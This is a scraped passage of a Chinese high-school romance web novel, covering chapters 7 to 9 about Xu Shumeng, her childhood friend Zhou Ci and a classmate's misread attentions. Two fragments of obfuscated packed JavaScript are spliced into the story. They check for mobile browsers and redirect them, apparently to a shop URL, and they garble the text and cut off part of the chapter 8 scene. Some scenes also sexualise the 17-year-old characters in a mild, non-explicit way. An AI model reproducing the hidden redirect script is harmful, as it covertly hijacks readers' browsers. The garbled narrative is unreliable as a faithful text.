《三分春日汽》 7. 第 7 章 许舒檬淡定看着面前的东西。 CK的黑色内裤,脏了,就这么横条的摆在面前。 周祠快速从她背后掠过,把内裤快速揉成一团抓到手里,最后挤着出了去。 “好了,你洗吧。” 许舒檬视线跟着垂头的周祠走,不知道脏了也就脏了,他遮遮掩掩什么。 小时候他光屁股自己都看过了,还差这个吗。 第二天早上两人都赖了床。 很庆幸昨晚没打响雷,也就闪了一会儿紫色闪电。 等两人磨磨蹭蹭想起床的时候,已经快到吃午饭的时刻。 浴室水声哗啦。 周祠眼睛有些红,约莫是昨晚没睡好。 一张冷白皮的脸在水龙头下冲洗。 水珠从他下颌滑下。冷白肤调配上蹂躏红,显得他整个人有种禁欲的侵略感。 周祠侧头,问旁边站着刷牙的人:“点外卖?” 许舒檬嘴里还有泡沫,含糊道:“不是很想。”周围的外卖他俩都吃遍了,没新鲜的。 外面没出太阳,也不适合出去。 周祠说:“冰箱里还有食材,那要不你做?” 许舒檬抬脚,踹了他肌肉流畅的小腿一下。 她根本就不会好吗。 周祠知道她不会,这不是调侃么。 他欠笑着挨了一脚:“好好好,我做。” 一个鸡蛋炒西红柿,一个香煎牛排,一个芹菜肉丝,加上贻贝紫菜汤。很简单家常。 许舒檬在厨房给他打完下手,没自己的事情就自觉出了去。 电视上放着她爱的电影《布鲁克林》。小区下面小孩儿在踩水坑欢声笑语。配上周祠在厨房弄出来的锅碗瓢盆声。 这个因为坏天气而只能呆在家里的周末,认真想想,似乎也没那么浪费无聊。 往沙发上悠闲一趴,许舒檬垫着手背,切到聊天软件。 昨晚回了洛灿以后,两人就没怎么聊天了。 今早才发现他给自己的朋友圈点了赞。 她的朋友圈设置了半年可见。 许舒檬营业不算勤奋的,一个星期发一两次差不多了。 洛灿点是点了,但也没丧心病狂到全点的地步。 就几条。 许舒檬粗略看了下这几条,是两家人在这半年去新加坡环球影院玩,还有隔壁海滨城市度假的合照。 偶尔周祠才会入个镜,毕竟只有他才会当人力给大家拍照。 许舒檬跳回聊天界面。 往下滑,洛灿早上九点发了消息,那时她还没醒。 【起了吗?】 【你要不要喝奶茶。】 【我给你点。】 许舒檬看得小脸皱起,谁一大早就起来喝奶茶。 正犯愁要不要回,还是当没看见忽略,身后黑影渐渐靠近。 接着,许舒檬腰两侧的沙发就凹陷了下去。 周祠光着膀子撑在她上方,俯身缓缓下压,把自身重量渐渐渡给她。 刻意压低的嗓子在她耳边质问:“谁要给你送奶茶?” 许舒檬微偏头就看到周祠的下巴。整个人被他身上浓烈的气息包围。 她快速切换,跳回主界面:“啊?没有谁。” 周祠漆黑双眸锁定她的眼,近到彼此都能数清楚对方的睫毛:“真的?” 她欢快点头:“嗯嗯,真的。” 许舒檬不是故意说谎。 而是觉得洛灿这事,就不叫事儿。也没必要特意拿出来说。 她也不馋那一杯奶茶。 她抬手,试图推开近在咫尺的硬朗胸膛:“你压着我了。周祠,知不知道你现在多重,你还想压死我是不是。”小时候的游戏,能不能别拿到现在来玩儿,好幼稚。 然而她越反抗,周祠就越起劲,目光是晦暗不明的深沉和探究。 撑在腰侧的双手,突然变成了单手。 他试图往前抢她的手机:“我不信。你给我看看。” 她拼了命地举高:“不给。” 周祠压得更紧:“要给。” 许舒檬背上被压的翻不了身。 她没穿内衣,真皮沙发柔软度没那么高,周祠越用力,前胸发育良好的两团就被挤压得更疼。 许舒檬皱眉。 两人打闹来打闹去。 没一会,她艰难地从他身下抬起一条被压制住的腿,一个翻身,趁人不注意,就跨坐在了周祠身上。 现在成了她在上,他在下。 周祠动了两下,就不动了。 他好奇,她被逼急了,还能玩出什么花样来。 许舒檬大腿施力夹住他劲瘦的腰,一手抵住他胸膛,一手高举手机防止他偷袭,头发散乱,略微喘气道:“都说了没什么好看的,你还犟。” 算了。 少年抬起右手大掌,放松状似慵懒地垫在脑后,麻痹对方的警惕性。 周祠仰躺,眯着眼睛打量上方欲盖弥彰的人:“没什么好看的你不让我看。许舒檬,你胆子越来越大了,都瞒着我有小秘密了。”背叛,可耻。明明两人以前是无话不谈。 说完,周祠像离弦的箭,猛地上半身坐起。 原本跨坐在结实腹肌身上的人,顿时失去平衡,贴着他身体,往下重重滑坠。 许舒檬惊呼完了,自己屁股肯定会被这人硬邦邦的大腿骨头给硌得慌。 结果出乎意外,竟然很软。 她坐到了什么。 不信。动了动臀。 是软绵的触感,好像还,很大一坨。 周祠表情不由变怪,随着许舒檬不安分的蠕动试探,眼神顷刻暗了下去。 他垂头,额前碎发遮住眉眼,看不清少年的表情。 大掌突然伸到她肋骨下,抱着人从自己身上下来,呼吸闷哼,语气不详道:“走吧,去吃饭。刚叫你两遍都听不到。” 许舒檬鸭子坐,握着纤细脚踝,被抱下来后,就自动缩在沙发角。 她眼神呆呆地看着少年起身穿拖鞋,再迟缓地走到饭桌边坐下。 手机还搁旁边亮着,因为刚刚的打闹不小心点开了某个购物软件。 软件开屏,弹了段3秒的护肤品广告出来。 许舒檬叉掉广告退出软件。 又复抬头看向饭桌上正准备端碗吃饭,脸挂乌云的人。 她鼓鼓脸颊,不就是不给他看自己的聊天记录,至于这样吗。 周祠,小气鬼。 周一。 晨会依旧说的人昏昏欲睡。 因为KTV事件,许舒檬和班里的人也熟得差不多了。 不管是走廊还是上下楼,她总能碰到热情打招呼的人。 许舒檬长相本就温婉没什么攻击性,这下在大家眼里,她更受欢迎。 大部队先解散回了教室。 陪书黛去小卖部买了零食回来,和迟让这拨往下走的高三学长们恰好擦肩而过。 不出意外的对上。 迟让本来就是善解人意的性子,怕许舒檬对自己还有阴影,正愁要不要对视,结果倒是许舒檬眼睛闪亮地笑着喊了声:“迟学长好。” 迟让顿了下,差点没反应过来:“学妹好。” 两方人错身。 楼梯间,学生来来往往。 丞帆认出这是周祠上次在操场上捉弄的发小妹子。收回盯着许舒檬窈窕背影的视线,勾住迟让的脖子说:“怎么,她也是你发小?” 迟让扒拉下他手臂,解释说:“哪能。周祠的朋友就是我朋友。”总不能一辈子装不认识吧,那周祠夹中间多难受。 说起来,迟让暗戳戳想,许舒檬现在能对自己大大方方打招呼,是不是周祠在背后解释清楚了。 他又暗戳戳笑,也不知道周祠这逼怎么说的,说话这么管用。 丞帆听到周祠这两个字,摸了下下巴寻思:“说起祠儿,他最近两天怎么了,让他出来打球,他竟然破天荒不来。” 迟让想起周祠私底下在自己面前痛心疾首那样,耸肩慢悠悠笑了下:“工伤。” 丞帆:“什么工伤。” 迟让觉得自己不能落井下石,毕竟男的都懂这方面有多痛,于是欲言又止道:“自己想。” 周三,轮到许舒檬和书黛这一组做大扫除。 一组共6个人。 扫地、拖地、擦窗户、倒垃圾。 许舒檬被分到了擦窗户这一组。 她踩上桌子。 洛灿挺拔的走过来,旺盛热情:“许舒檬,要我帮你擦吗?” 许舒檬低头见是他,摇摇头:“不用了。我能做。” 洛灿笑着说:“好。有需要随时叫我。” 许舒檬抿唇:“嗯,谢谢。” 洛灿背上书包走了:“不客气。再见。” 他去了学校体育馆。最近这段时间,他要去带篮球训练。 书黛是班级小灵通,她拿着蘸水的拖把在地上鬼画符,在地上留下蜿蜒的水痕:“高一高二要举行班级篮球比赛了。” 许舒檬停下:“多久举行。” “月底。”那就是还有两个星期。 书黛拖到许舒檬下面,看教室里只有两人的身影,于是手围在嘴边问:“噗嘶噗嘶,舒檬,感觉怎么样?” 许舒檬杏眼疑惑:“什么怎么样?” 书黛握着拖把杆发春,两眼都冒光:“最近洛灿帮你接水,换位置的时候主动帮你搬桌子,你看,他刚刚还想帮你做卫生。” “你这都不心动吗?” “洛灿虽然跟周祠比起来差了点,没周祠长的好看,没周祠成绩好,但至少大胆勇敢,时时刻刻为你着想。好羡慕这种明目张胆的偏爱。” “我的天!为什么就没人对我这样。” 许舒檬擦玻璃的动作渐渐停了下来。 心有点燥,还有点烦。 她垂下眼睫,把抹布换了个面,重新贴上玻璃开始擦:“可我不喜欢。”她的态度很明确了。 但书黛接二连三的提醒,又在许舒檬心里埋下了种子——洛灿这样做,是因为对她有好感。 书黛看向她平静清冷的面容:“好吧。你说你是不是跟周祠一块儿长大,每天对着那样一张脸,拉高了你的审美呀?” “可千万别这样。” 书黛放空眼神感叹:“……谁能比得上周祠啊。你要这样,以后能找的对象就少之又少咯。” 楼梯间。 洛灿往下走。 周祠往上走。 黄昏错影,两人迎面。 周祠还是那样,冷漠疏离,目中无人,谁也不放在眼里。 同学快两年了,洛灿很怀疑,他到底记不记得住自己的名字。 不管记不记得住,总得试一次,毕竟……. 周祠走路有自己的节奏。大步,沉稳,手插在兜里,表情淡漠又桀骜。 洛灿张嘴想打招呼。 明明楼梯很宽,转角处,擦肩而过,周祠却撞上了他的肩。 就一下。 撞完,人就走了。 没说对不起。 也不知道是有意还是无意。 肩膀撞歪了,有点痛,还有点莫名其妙。 洛灿抬手揉。 人立在原地,回头看,眉有些皱。 少年与少年之间的力量,两人不分伯仲。 可……原本该生气的。洛灿却揉着揉着就笑了,露出白的晃眼的牙齿,甚至笑得愈发无声欢畅。 他踩着楼梯往下走去,边笑边摇头。 到了训练场地,队员过来问:“灿哥,妈逼的!你看隔壁八班那嚣张样子。书读的不咋地,搞事情有一套。” 八班的人也正在往这边看。 班级篮球赛,冠军他们唾手可得,个个如狼似虎。 洛灿面不改色,换上球衣,对着一班的队友沉声一吼:“集合。做好你们该做的,今天训练给我上点心。” “是!” 书黛刚八卦完,门口就倚着个慵懒身影。 周祠撩起眼皮,目光跟着桌上的人走:“还没弄完?” 李里格刚叫他去填暑假竞赛资料,喋喋不休差不多一个多小时。 填完了,回来了这边还在磨蹭。 许舒檬快擦完了,低头看下面的他回话:“还有一点。你要着急,可以先回去。” 其他组员下楼去丢垃圾了,丢完,他们的任务也就完成了。所以不用回来。 于是空旷的教室里,只剩下书黛和周祠,还有许舒檬。 书黛也刚洗完拖把,被这声音突然给吓了一跳。 周祠凛冽的目光扫过来。 书黛知趣,拖把归完位,就抱着书包,逃命似的往外走去:“舒檬,我先走了。明天见。” 埋头和门口的周祠擦肩而过时,也不知道是刚说完八卦正主就现身、有愧疚,还是对他本身的光芒害怕、逼人太甚,她连头都不敢抬。 许舒檬擦完了,要下来。 性子慢,动作也慢。现在又成了最后一个。 周祠就靠在门口,好整以暇地抱臂看她。 幼儿园,大家都吃完饭了,就两个人没吃完。一个她,一个他。 她是一口嚼半天。 他是一口难下咽。 起床慢,穿衣服也慢。幼儿园老师精力有限,分不出多余的时间来照顾这两个拖尾小孩。 所以,聪明如大人,让她照顾他,效果负负得正。 从小班到大班,她照顾了他三年。 不认识的两家人,从此相识。又聊得来,买新家,一个楼上,一个楼下。 周祠有时候都在想,她要是反应快点,动作麻利点,人再机灵点,说不定两人这辈子的缘分就没了。 于是,慢慢和缓缓,倒成就了他眼里独一无二的她。 踮脚,试探。 手扶着窗框,一下,再一下。 准备下去了。 他看不下去,走过来。 人高,恣意妄为。 许舒檬两条腿弯被人从后有力揽住,顺着力道,她就坐在了人肩膀上。结结实实,稳稳当当。 她下意识的伸手扶住他的头,手指无意插进他浓密的发里。手感太好,她还揉了两下。 少年调侃,黑色眼珠明亮:“等你安全着陆,怕是天都要黑了,磨磨唧唧的。” 话是这样抱怨,刚还满脸嫌弃的人,现在却是小心又小心的挪动。毕竟身上多了一个人。 单膝弯曲,许舒檬脚落地了,小臂松开,他再站起。 拉了下校服下摆,她说:“谢谢。” 周祠催促:“谢什么,你书包呢,快点拿。是不是想耽误我回家吃饭。” “噢,那我马上。” 她欢快的回座位背上书包。 关灯,教室沉睡。为又一天沉重而酸痛的读书生涯打上落幕。 “今晚吃什么?”舒妈和许爸不在家。 “你想吃什么。” “日料?” “那行。” 出了学校。 围墙是栅栏。 地板和球鞋擦出摩擦声,室内体育馆灯火通明。 洛灿满头大汗,队员汗流浃背。 有人走过来:“灿哥,你看那边。” 八班的人,气不带喘。 一班的,残兵散将。光是训练,就隔空杠上了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14486388|154586||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “灿哥,我物理卷子还没写。” “是啊,我数学大题还空着。” “灿哥……” 比不得。 八班是普通班,学不学,无所谓。今晚练个通宵都没毛病。 一班,是精锐班。学业不能废。 要赢,要光荣,要维持第一的名号。 大家伙已经是看在洛灿的面子上多加训了半个小时。 洛灿拧开水瓶,埋藏隐匿的怒气,让这个动作看起来像是要拧断对面的脖子。 再不情愿也得开口,妥协:“解散吧。” 队员淅淅沥沥的散了。 洛灿脱下打湿的球衣,望着沉寂的黑夜,一片心事萦绕。 抬眼,不经意就看到栅栏外的身影。 一前一后,一高一矮。 少女的书包不知道什么时候到了少年身上。 她慢腾腾跟在身后,他在前面走着走着,就会停下来插兜回头等她。 再接着,又循环往复。 洛灿盯着前面那道高瘦的身影,眼里暗沉。喝完瓶子的最后一口纯净水,接着,压扁扔掉。 吃饭是周祠给钱。 许舒檬每个月拿到生活费,会转一部分给周祠。 她给它取名:共同基金。 出去吃饭、玩、看电影等,周祠可以直接从里面支付,这样对大家都公平,毕竟他的生活费也不是刮大风来的。 跟着周祠,她不爱动脑子,大多时候放空、幻想、感受。 日料店,周祠低头拿ipad翻菜单。 “甜虾?” “四只。” “不行。两只。你尝尝胃口就行了,不然一会儿鹅肝冰淇淋上来,你冷的吃太多。” “……好吧。” 榻榻米的包间门合上,只有两个人了。 她放松下来,不安分的跪坐。一会儿凑近闻闻桌上装饰的花,一会儿十指合拢,高举双手,往左压压,往右伸伸,舒服出声,再抻抻细腰。 这就是她的运动量了。 不像在班里,不是书黛拉着她起来活动,或者去上厕所,下课她基本都在位置上坐着。 过分安静,过分内敛。 对着他,现下偶尔露出调皮的一面。倒显的他更沉稳,她越发娇俏。 菜上来了。 两人断断续续的聊着一些话。 周祠低头进食,一边问她,今天学得怎么样?有没有听懂? 又问:暑假去哪儿玩有什么想法没?最近和班上的人有没有发生什么事? 他问得实在太过随意和自然。 自然到许舒檬根本没听出其中夹杂着半分异样。 手机却在这个时候亮了,她的。 洛灿:【/图片】 洛灿:【今晚拍到的圆月很美,分享给你。】 周祠眼褶轻抬,余光轻掠,看到她正面朝上的手机屏幕,跳了两条消息出来。 许舒檬:“暑假妈妈说带我回爷爷奶奶家一趟。” 周祠知道,还去过。 乡下郊区,抓泥鳅,摘樱桃,云是大朵的白,蓝天没有一丝杂质。风景美得像是宫崎骏笔下的电影再现。 他还等着她回下一个问题。 可等了半天,都没等到。 许舒檬点开消息,下意识把手机往桌下放,放到自己腿上。 他看不到了。 周祠敛眸,不着痕迹淡淡提醒:“然后呢?”还有个问题,还没答完。 她心思在这头,注意力却在那头。 没忍住,垂头点开洛灿发来的图片。 “然后…然后…” 人实在是不能一心二用。 她又得放大图片看,又得去应付周祠的逼问。 结果只能是卡顿。 图片点开,看到了。 许舒檬不禁想,洛灿也才从学校回去吗?这么晚了,他在忙什么。 那条街道,很熟悉。就是学校外吃饭、玩乐最密集的那条商业街。 可是现在却空无一人。 头顶乱架的电线、商铺紧闭、被风吹跑在马路横穿的塑料袋。 月光像银辉,洒上一层无法拒绝的落寞。 他为什么给自己发这些? 不开心吗? 那自己又该怎么回。 她踌躇,心软。却不小心,抬眼,就撞进周祠黑又冷的幽深眸子里。 回的16楼,等到两人并排在一起写作业的时候,许舒檬才后知后觉,自己怎么又上来了。 挠挠脑袋,好像是从进电梯的时候,自己书包不知怎么的,又到了周祠肩膀上。 聊着聊着,自己就跟着他进了家门。 好吧。在他家写,和自己家写,好像已经没什么区别。 尤其是,舒妈现在有了要出长差的趋势。 因为两方家长的工作性质,两个都市版留守儿童抱在一起互相取暖已经成了心知肚明的默契。 “不会?” 空白试卷被周祠拿笔戳了戳。 他脖子上戴着黑色耳机,白色T恤松松垮垮,露出嶙峋锁骨,一手拎着饮料瓶,正挑眉看着她。 “嗯,有点。” 许舒檬不好意思承认,自己其实是走神了,所以才久久没下笔。 至于走神想什么,显而易见。 回家的路上,天太晚,两人就打了个车。 周祠坐副驾驶,许舒檬坐后排。 后车窗开了一条缝,吹的她黑色发丝拂过秀气鼻梁。 出于礼貌,当时许舒檬还是给洛灿回了消息:【怎么这么晚。】 洛灿回的速度很快。一张没露脸的自拍。 汗湿的领口,发红的肌肤,球鞋,短裤,两腿微张,靠在长椅上,像是打球过后的疲软状态。 他皮肤偏黝黑些,看起来,大腿内侧的肌肤,的确没有周祠的白。 洛灿:【加训,累…】 呃,好吧。 许舒檬被他突然释放出来的软肋情绪给愣了一下。 给自己说这些做什么? 不合适。也不适合。 语气瞧不出亲昵,分寸到位:【那你早点休息。加油。】 聊天到这儿,本该结束了。 洛灿却打了句话送过来:【等等。】 接着:【舒檬,我们算朋友吗?】 一句话,突然给许舒檬给整不会了。 算吗?好像不算。同学而已。 细算起来,顶多是加了联系方式的这段日子里,他对自己多了些关心。 可她不想扫兴。 许舒檬咬着手指:【应该,算吧。】 对面‘正在输入中…’闪了几次又消失。 昭示着犹豫后豁出去的坚定,就像咬牙跑完800米后的冲刺。 洛灿:【那我明天给你买奶茶,你别拒绝我,成吗?】 成吗? 反复咀嚼,带着卑微的请求。这还是那个阳光热情、友好善良的体育委员吗? 许舒檬急忙看向窗外,灯火通明的街道曝光成了一道道朦胧又润泽的光。 耳根,好烫。 书黛打趣的话在耳边不断魔音绕耳。 ——他就是喜欢你阿。 ——不然一个男的怎么可能对你这样献殷勤? 烦恼冉起。 她不喜欢洛灿。尽管他是个很好的人。 渐渐拿手撑住脸颊,许舒檬想,要不趁着这个他给自己送奶茶的机会,就说开吧。 看向窗外的车水马龙,许舒檬没注意到,当时在车里,周祠虽然手机播放着湖人VS勇士的赛事,眼睛却紧紧盯着后视镜里,略显愁容的她。 8. 三分 “饿没?” “还好。” “这道题半个小时能写完?” “应该能。” “行。” 说完,周祠起身去洗手间放了个水。 洗完手回来,他就当真潇洒地不管她了。 周祠的作业早就做完,他也不出去,就在一旁玩她的头发。 许舒檬惦记着明天和洛灿坦白,一会儿闪神,一会儿纠结。任谁都看得出来她心里有事。 周祠悄无声息地打量着,另一只手拿下桌,点着放在大腿上的手机屏幕上打字。 兄弟群。 热火朝天。 丞帆:【我看那小子能力还行。你别忘了,他曾经也是我们篮球队的预备役。】 周祠:【呵。】 冷嗖嗖的一声呵。 丞帆:【别呵啊我的祠儿。你不是说妹子只是你发小,这么紧张干什么。/坏笑/坏笑】 周祠:【挑个时机,找他聊聊。】 果断干脆的语气。 威慑力十足。 几人打趣。 迟让:【你这是要斩檬妹的姻缘?】 旁边许舒檬睡意上来,不分轻重地揉了揉眼睛。 周祠见她眼睛都揉红了,啧一声给她抬手拿下,顺便把她垂落的耳发往后挽了挽,还若无其事的揉了下她的耳垂,最后手感太好,就没舍得放下来。 许舒檬瞪了他一眼,似乎在暗示他手很不安分。 周祠无所谓继续逗人:“再揉就破相,信不信。你看你眼睛明天肿不肿。” 许舒檬就神烦两人之间,好像他永远是对的那副模样。 但从小到大无数次的事实又证明,他就是对的。 敢怒不敢言。 她忒怂地撇了两下嘴,继续埋头苦干。 周祠回归群里:【屁的姻缘!让让你会不会说话。】 这叫姻缘吗? 这叫孽缘! 迟让看人爆了,当即截图给已经又飞到大西洋彼岸的官尚,辛辣点评:【这小子被点了。】 官尚本来在苦逼的抓头发赶pre,结果见周祠这逼终于露出了马脚:【啊哈哈哈!哥老倌坐等后续。】 周祠继续:【他那叫骚扰懂不懂。三天两头跑来在许舒檬面前献殷勤,老子今天没撞飞他算好的了。】 迟让无声吁了声。又接着玩了个小心机:【不过话说回来,你以什么身份立场去聊?】 丞帆跟着闹:【对啊兄弟。你以什么身份管?】 迟让实话实说,又丢了枚炸弹:【人家檬檬说不定喜欢呢。】 周祠看完迟让最新打完的字,顿时倒吸了口气。 接着没忍住偏头看向哼哧哼哧低头写题的许舒檬,问出声:“你喜欢?” 许舒檬被问得一头雾水,缓慢抬头:“我喜欢,什么我喜欢?周祠你要想睡了就去睡,别在这儿说梦话了行不行。我看你这几天也不正常。” 周祠这才反应过来,自己怎么把心里话给念叨出来了。 看她眨眼那茫然的样子,约莫直接拷问自己想知道的事,也问不出个所以然来。 她跟个冬日藏食的小仓鼠一样,心里话小心思,都藏着捏着。不是自己想说,基本就是自个儿消化,连她爸妈都没辙。 呼——。 带点狠狠气馁。 周祠心烦意乱地伸手揉了揉她头发,当然因为有过被打的前车之鉴,也不敢太用力。 揉过瘾了,最后还用手当梳子给人弄好,这叫有始有终。 他纠结了两秒,接着低音炮似的嗓子敷衍道:“没事,你继续。” 许舒檬看他脸色。心里暗自嘀咕,怎么,狂妄骄傲如他,也有自己的烦恼了? 周祠眼皮半阖,看着群里的各路调侃,皱眉思索了下。接着郑重其事地打下两个字:【爸爸。】 丞帆下巴掉地上,惊呆了:【沃日。你这答案是真的惊天地泣鬼神了。你认真的?】 倒也不必为了一个男的,强行升自己的辈分。 迟让:【!】 迟让:【要点脸吧我说。】 消息被悄悄同步到这边的官尚,看到爸爸两个字,脑子里想起许叔那温文尔雅、清瘦绅士的样子,跟周祠那副屌天屌地,唯我独尊的耀眼劲儿,完全不沾边阿。 思衬半天,他给迟让回了个:【……我檬妹,受累了。】竟然摊上周祠这么诡谲的竹马。 许舒檬一整晚没睡好。辗转反侧。 第二天,书黛惊讶许舒檬怎么眼下还挂着淡淡黑眼圈。 许舒檬把作业本递给来收作业的课代表,侧头温言细语问:“黛黛,很明显吗?” 书黛点头又摇头,仔细端详:“一看你就是没睡好觉。不过没关系,不影响你的美貌。” 坐立难安了一上午。 午休,下午上课前。 洛灿给许舒檬发了消息说奶茶买到了,他正在回教室的路上。 许舒檬看离上课还有半个小时。于是再也坐不住,先发制人,小跑着下楼。 刚刚好,和半道的洛灿碰了个正着。 “你怎么下来了。那正好,给,这个请你。” 阳光正盛。 洛灿站在楼梯下,举起奶茶,眉眼清朗,笑着递给许舒檬。 许舒檬见过往的同学都盯着他们看,有些甚至都开始窃窃私语,为了避免更多误会,许舒檬不知怎得从心里生出一股勇气,突然就拉着人开跑。 少年,少女,校园,肆意的风。 刚和丞帆他们打完球,说说笑笑正往回走的周祠看到这一幕,顿时愣在原地。 两条人影从眼前一晃而过。 树影幢幢,斜阳斑驳。教学楼里时不时传来青春的聒噪。 周祠两眼失怔,下一秒牙槽突地咬起。 丞帆和迟让眼见为实,昨晚还都没放在心上,一个劲儿的开兄弟的玩笑,结果现在顿时变成了同情。 看看,人家都拉起手了,并且还在校园小道上一路狂奔了。 好一出校园情景剧必现浪漫情节。 一个在左,一个在右。 两只不同粗细、颜色的手臂同时搭在周祠的宽肩上。 丞帆:“爸爸” 迟让:“节哀” 周祠:“……” 校园不易察觉一角。 许舒檬喘着气,撑着膝盖顺呼吸。 大中午天热,照得她肌肤呈现微微被晒后的粉红色。 杏眼水润,鼻梁小巧。 洛灿个高、肺活力强,被她拉着袖子跑就跟走一样,全程奶茶都不带颠一点。 他递了张卫生纸给许舒檬,也是突然被许舒檬这个操作给可爱到了,嘴角挂着笑意。 洛灿问:“怎么突然拉着我跑了,还跑到了这里?” 许舒檬接过纸擦汗,深呼吸了三下。 心扑通扑通跳:“洛灿,我,我对不起。你是个很好的人,但我们现在都还在读书,应该专注于学习。我谢谢你的喜欢,也承担不起你这份喜爱。如果可以的话,我祝你前途似锦,以后肯定会有更优秀的女孩子回应你。” 说完,她抿唇看洛灿的脸色。 这话斟酌了好久,就怕伤到对方的自尊心。 为此她还故意上网搜了下,内容大概为,礼貌拒绝正处于青春期男生的求爱,该怎么说才合适。 纠结了一晚上加一早上,许舒檬终于释放了。 沉默。 一秒,两秒,三秒...... 这边。 周祠袖子都已经撸到肩膀上了,蓄势待发。 丞帆和迟让拦着他,一个拦腰,一个抱胸:“别急,别急啊喂!” 三个人躲在树干后,也是好奇到家了,悄摸摸个跟了过来,结果活生生听了一场墙角。 “他凭什么?他凭什么!” 周祠一边心里骂这姑娘傻,一边觉得洛灿算个什么玩意儿。 早就看他不顺眼了。你说你要不喜欢他,早给我讲啊。 老子私底下去警告他让他离你远点,也不至于大中午让你亲自跑一趟。 “再等等看,看檬妹是什么反应阿。这你要是贸然冲出去,被人知道你在听墙角,你看檬妹事后怎么看你。” 好像,是有那么几分道理。 周祠闭眼,手从粗壮的树干上扒拉下来,语气不快:“行行行,你们说的都对。” 说完,他道:“放开,别揩我油。” “靠!” “过河拆桥。” 收回手,迟让细品觉得不对劲,于是盯着周祠的脸深究:“不对啊,你怎么看起来要笑不笑的。” 周祠努力绷脸,无情乜他一眼:“你看错了。兄弟,近视加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛灿挠头:“你们关系好像很好。”从她喂药那次开始,他就有留意。 “所以,请问可以吗?” …… 不冲动了。 安静了。 丞帆和迟让齐齐回头盯着周祠看,异口同声道:“哦——。罪魁祸首原来是你?!” 周祠慵懒地叉着腰,舌尖在口腔里顺时针抵了一圈腮,第一次感受到了什么他妈叫无语。 把袖子从肩膀上拉了下来,他恢复清高,利落转身:“走吧。” 迟让和丞帆跟上,也是被这陡转急下的事情发展顺序给迷的不要不要。 丞帆福尔摩斯:“所以这段时间,他对檬妹示好,是因为想要拉拢你去球队?” 迟让厘清了,握拳在嘴边,脸露崇拜的感叹:“卧槽,祠儿,你魅力大啊。” 周祠下意识:“那是。” 脱口而出后又意识到此情此景不该说这么欠打的话:“过了过了,不重要。” 喉咙滚动了声,香樟树叶遮罩在他头顶。 少年扯了片叶子在手中把玩,接着平静的扬了下眉:“今天的事情谁也不准说出去,听到没?” 迟让和丞帆对看一眼:“嗯。放心。哪些该说哪些不该说我们门清。”毕竟真被别人知道了,怕会被流言中伤的只有檬妹。 默契统一后,迟让又突然担心说:“那……檬妹现在怎么办呢?” 这边。 无措地看看天,再促狭地看看地。 心脏算是直接以70迈的速度创到了地,再摔个稀巴烂。 别误会,不是伤心,而是纯尬的。 脚趾都戳穿地球的那种尬。 许舒檬甚至能在不捂耳朵的情况下,听到自己身体的血液正超速的从血管里穿过,去抢救自己那颗七零八落的心:“哦。哦……是这样啊。那这样,我不打扰你了,哈哈,那我就先回教室了。再见,拜拜。” 洛灿忙抬手留人:“诶诶,许舒檬,那周祠那边你能帮我说一声吗?” “真的麻烦你了。” 青石板小道。 许舒檬都走出几步了,依旧惦记周祠的洛灿没得到她肯定的回答,又再度对着她大喊重提需求。 她扭脚回身,高马尾被一阵夏风亲吻过天鹅颈的细腻肌肤,眼里闪过窘迫慌张:“我尽量。”尽量帮你劝说一下。 但成不成,那得看周祠自己。 洛灿笑了,明眸皓齿:“那行,谢谢你了,舒檬。” 抬手挥再见,却发现手指上还挂着自己专门跑到学校外的奶茶:“等等,你的奶茶!” 许舒檬:“……不,是你的奶茶。” 9. 三分 吹着小调。 “咋啦。” 寂静。 “吃什么。火锅,西餐,还是东南亚菜?” 没人应。 “说话。” 校服外套栓在腰间,长腿悠闲的迈着。 周祠抬起双手,垫在脑后,走出嚣张又不羁的走姿,斜睨身边的人。 许舒檬垂头不语,心情明显低落。跟被寒霜焉打了的小白菜似的。 周祠当什么都不知道:“你不说,我们今晚就吃空气。” 许舒檬手握书包带子,盯着自己脚尖,最后闷闷不乐地给了个选择:“那西餐好了。” 周祠漫不经心应了声:“行。” 老地方。 没看手机,一落座就把书包放在旁边。 许舒檬下巴垫在桌上,盯着西餐厅的某处开始发呆。 服务生走过来递菜单。 周祠看许舒檬现在也没兴趣说话,于是自顾自的开始点菜,反正这在以前都是他在做。 等待间隙,先上的柠檬水。 周祠喝了口水,掌骨撑脸,也学许舒檬那样,盯着她看。 两个各自心思盘旋。 许舒檬心思低落,那是因为自己整了个大乌龙,在自己活了十七年的生涯里,来了个前所未有的滑铁卢。 导致接下来一整天,和洛灿在班里遇到,她除了飞快露出笑容敷衍外,说真的,都不知道怎么办才好。 书黛还什么都不知道,又磕cp上瘾,但凡见到洛灿出现在两人周围,就冒粉红泡泡的对着许舒檬激动道:“他看你了!他看你了!” 许舒檬只好破天荒抬手堵住书黛的嘴:“黛黛,消停点。” 周祠心里则盘算着,既然那混小子都说了最终目的是想请自己加入篮球赛,他就好奇,这傻姑娘被摆了一道后,还会不会帮忙? 若真的要帮,又该如何向自己开口? 总之,这注定是一场各怀小九九的吃饭之夜。 菜上了。 许舒檬低头吃饭。 只是勉强吃了几口之后就觉得不对劲。 挑挑拣拣。她抬头。 “为什么披萨只有菠萝?那这跟只有披萨胚有什么区别。” “你点两份沙拉干什么。” “周祠,这个又是什么。神经啊你,干什么来西餐厅点凉面。” 她看着桌面上点的东西,才发觉跟以前的完全不一样。没自己喜欢的盐烤牛排,也没了海鲜烩饭,连个蓝莓慕斯也没有。 筷子放下,本就郁闷的心情平添了点莫名奇妙。 她不假思索:“你家破产了?” 周祠把玩玻璃杯,嘴角噙三分笑,看起来有点凉薄,又有点轻慢:“没。” 许舒檬微偏头质问:“那就是我家破产了?”不至于。她也没接到爸爸妈妈的通知。 周祠还是摇头。 许舒檬小脑袋瓜子不解了:“那你干嘛点着这些。” 周祠伸了个懒腰,提唇懒懒戏谑:“我看你山珍海味是吃腻了,喜欢吃些糟糠。这不,满足你。” 许舒檬张嘴又无言。 在这人利索的嘴皮子里,掰不回半点立场。 